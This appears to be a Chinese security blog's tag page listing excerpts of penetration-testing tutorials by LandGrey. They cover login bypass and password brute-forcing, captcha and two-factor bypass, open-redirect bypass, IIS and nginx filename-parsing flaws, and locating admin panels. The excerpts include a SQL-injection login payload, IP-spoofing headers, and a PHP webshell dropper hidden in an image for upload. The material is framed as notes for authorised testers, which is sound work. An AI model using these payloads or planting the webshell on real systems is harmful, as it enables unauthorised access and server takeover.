"Web安全备忘录" 标签

突破封闭Web系统的技巧之正面冲锋

作者: LandGrey ●   创建时间: 2017年12月24日 17:45 ●   标签:   #渗透测试,   #思考,   #Web安全备忘录

首发于:信安之路公众号前言:在互联网安全服务公司乙方工作的人或者进行SRC众测等相关渗透测试时,经常碰到客户只给一个"xxx信息管理系统"、"xxx平台"之类的一个Web登录界面的系统的链接地址,其它全凭自己造化,去找漏洞吧!我将上面讲的"需要认证后才能进入系统进行操作,但是当前没有认证凭证"的web系统"统一称为"封闭的Web系统",本文认为阅读人员有一定的渗透测试经验,并将就如何突破封闭的Web系统,进行探讨。分享自己的思路与常用技巧,欢迎同道中人一起交流思路。 注:本文有一定的攻击性操作,仅为安全从业人员渗透测试思路交流,请在法律条规允许的范围内进行安全测试。一:文章脉络《突破封闭Web系统的技巧》由两篇文章组成。这是第一篇文章"正面冲锋"。下面是本文的脉络: 正面冲锋 0x00: 登录绕过 0x01: 密码猜解 0x02: 管理员猜解 0x03: 普通用户猜解 0x04: 突破加密传输的口令 0x05: 突破登录IP限制 0x06: 图形验证码绕过 0x07: 短信验证码绕过 0x08: 双因子验证绕过二:正面冲锋遇到需要登录才能进一步测试的系统,又没登录口令?没关系,我们有不少正面冲锋的小技巧,相信你看完一定有所收获。0x00:登录绕过如果能绕过系统认证,直接登录,那就万事大吉了!登录绕过的方法主要有:1. SQL注入万能登录密码 a' or '1'='1' -- 2. XSS获取到已登录系统的用户Cookie,替换后可进入系统 3. 通过列目录漏洞或目录文件扫描,发现存在未授权访问的管理页面,可以直接访问进行操作 4. 通过抓包,更改用户id、登录名或Cookie中的敏感认证字段值,即可越权访问 5. 通过已知的后门链接或代码中固化的后门管理口令,直接登录 0x01:密码猜解大部分系统登录是绕不过的,最常用的还是猜解已知用户名的密码,用合法的凭证登录系统。Web系统进行密码猜解,大部分人喜欢叫密码爆破,因为猜解一个人的密码,通常需要成千上万的密码来试。密码猜解的目的是准确、高效的获得已知用户的正确密码。1. 用来发送HTTP/S协议爆破密码的工具主要是用Burpsuite。其它的就是用一些脚本,自己造轮子或用已经写好的较为通用的脚本,如 htpwdScan 。2. 高效的保证就是猜解时使用的密码字典要适合,一般是先尝试TOP500、TOP1000、TOP10000系列的通用弱口令字典。3. 还没有成功的话,就需要自己根据目标的信息构造特定字典来爆破了。可以自己写脚本生成,但是费时费力,对于比较急的任务往往不适用。推荐下自己写的一个高级字典生成工具pydictor 可以直接配置里面的规则生成字典,也支持高级玩家写自己的密码生成插件,一劳永逸。其它的一些好的字典生成工具推荐 crunch、Cewl、Cupp。0x02:管理员猜解在不能判断系统中存在什么样的用户名时,通常先进行管理员用户名的猜解,然后再根据存在的用户名进行密码破解。我总结了一个常见系统管理和测试用户名字典AwesomeSystemTestUsername,可以做为管理员用户名的猜解使用。如果一个系统对存不存某用户名无任何有用提示,可以直接使用上面的字典,加上弱口令TOP1000,同时爆破用户名和密码,常有意外收获!0x03:普通用户猜解如果封闭系统是个多(几十或几百个)业务员系统,那么此时最好用一个普通用户名字典进行猜解。常见的有姓名拼音字典TOP500、TOP10w等。同样,如果一个系统对存不存在某用户无任何有用提示,要猜解的用户名又非常多,可以选几个弱口令如"123456","abc123","1234","1111","111111",同时爆破用户名和密码。0x04:突破加密传输的口令有些业务系统的口令传输到后端前,为了安全和老板的要求,通常是由前端js进行编码或加密后再传输的。常见的Web系统编码和加密方式有base64编码、md5加密、sha1加密、DES加密、AES加密、RSA加密。这时候,有三种爆破方法。一:用爆破工具在传输前按照标准方法加密好再传输,Burpsuite的Payload Processing可以很好的工作。二:用工具提前生成好加密好的字典,然后爆破工具直接加载字典即可。在生成加密字典方面,pydictor是不二之选。encode功能内置支持多种加密方法,并且支持自定义加密方法,直接调用js文件中的加密方法进行加密等。另外,还可以用内置工具handler,加密自己现有的字典,让字典适用本次爆破场景。当然,也可以写轮子直接调用可以解析js语法的组件并执行,例如python的execjs模块、pyv8模块等,原理和pydictor调用js文件中的加密方法相同。三:对于某些动态加密或难以还原加密算法的场合,可以用selenium+webdriver模拟浏览器操作,自动填写密码提交。具体可参考文章基于SELEINUM的口令爆破应用。0x05:突破登录IP地址限制如果对方系统设置了可以登录系统的IP地址白名单,可以尝试用下面的9个HTTP头字段,伪造下IP地址碰碰运气。运气学?天机不可泄漏。Client-Ip: 127.0.0.1 X-Client-IP: 127.0.0.1 X-Real-IP: 127.0.0.1 True-Client-IP: 127.0.0.1 ...

更多 →

URL跳转漏洞bypass小结

作者: LandGrey ●   创建时间: 2017年12月9日 21:28 ●   标签:   #渗透测试,   #网络安全,   #Web安全备忘录

下面是owasp对URL跳转漏洞,也叫开放重定向漏洞(open redirect)的一段描述:Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal ...

更多 →

关于文件名解析的一些探索

作者: LandGrey ●   创建时间: 2017年8月24日 01:23 ●   标签:   #渗透测试,   #Web安全备忘录

一:IIS 服务器01:IIS <=6.0 解析漏洞起因是解析标准不一致,即Web应用程序与IIS服务器对同一个文件的文件名称(类型)理解不一致造成。 利用方法有两种: 1. 畸形目录解析/xxxx.asp/xxx.jpg2. 分号文件解析test.asp;.jpg 第1种是因为xxx.jpg图片文件在某个以.asp结尾的目录下面,而被IIS当成可执行文件来解析 第2种虽然以.jpg结尾,但IIS 解析时忽略了分号";"后面的部分,当成了test.asp文件来解析 默认的可执行文件后缀还有三个".asa"、".cer"、".cdx",不知道有没有隐藏的,如果手头有IIS环境的话, 可以生成所有一个到四个英文字符的后缀文件,去Fuzzing可执行文件名后缀 02:IIS 7.0&7.5畸形解析漏洞默认fast-cgi开启状况下,在一个文件路径后面加上/xx.php会将原来的文件解析为php文件 将shell语句,如 <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> 写在文本xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀),然后用命令将shell语句附加在正常图片xx.jpg后 copy xx.jpg/b + xx.txt/a test.jpg 上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php 二:nginx01:畸形解析漏洞默认fast-cgi开启状况下,在一个文件路径后面加上/xx.php会将原来的文件解析为php文件 将shell语句,如 <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> 写在文本xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀),然后用命令将shell语句附加在正常图片xx.jpg后 copy xx.jpg/b + xx.txt/a test.jpg 上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php 02:空字节代码执行漏洞在fast-cgi关闭的情况下,nginx版本:0.5.*, 0.6.*, 0.7- 0.7.65, 0.8 -0.8.37,nginx在图片后附加php代码然后通过访问 xx.jpg%00.php 来执行其中的代码 03:文件名逻辑漏洞(CVE-2013-4547)受影响的nginx版本: 0.8.41至1.4.3和1.5.7之前的1.5.x ...

更多 →

寻找网站后台路径的N种姿势

作者: LandGrey ●   创建时间: 2017年7月27日 23:16 ●   标签:   #渗透测试,   #Web安全备忘录

下列方法无刻意排列顺序,仅为备忘记录。 一:间接接触0x01: search1. 直接搜索目标可能存在的相关后台路径 site:target.com intitle:"后台|登录|登陆|验证码|管理员|服务系统|系统登录|认证码|验证身份|管理系统|管理后台|管理平台|mgmt|sysadmin|admin|password|login|manage" 2. 尝试搜索一些文档型资料路径,判断是否包含后台路径 site:target.com filetype:"doc | docx | pdf | xls | xlsx | ppt | pptx" 3. 在目标链接较少的情况下,可以浏览网站所有路径,顺便观察组成特点,构造出后台路径 site:target.com二:直接接触0x02: view the site1. 查看robots.txt文件,查看是否存在网站后台路径 2. 使用传统路径爆破方式,猜测可能存在的后台路径 3. 识别网站是否是常见CMS或框架,使用对应的默认路径尝试 4. 直接浏览目标网站,注意网站界面的左手方和底部,查看是否有后台直达链接 5. 注意观察Cookies等HTTP头信息,寻找特殊Banner,搜索相关应用框架信息,确定后台路径 6. 寻找网站页面源码中的特殊Banner,去google搜索或Github等平台查找源码信息,确定后台路径 7. 尝试手工或自动fuzzing网站,致使其报错,查看是否有相关路径信息,进而猜测后台路径信息 8. 查看网站页面源码,注意链接路径(特别是上传的图片、文件等资源链接),验证是否包含后台路径 9. 利用网站的特殊文件(通常需要扫描),如整站源码压缩备份文件、phpinfo页面、默认探针文件、README、Lisense文件、部署文档等,收集可能的网站后台路径信息 10. 网站爬虫(通常使用爬虫工具,如AWVS、Netsparker、Burpsuite),爬取网站链接,分析提取后台路径信息0x03: open mind1. 端口扫描,判断后台是否部署在同一主机的其它端口 ...

更多 →
<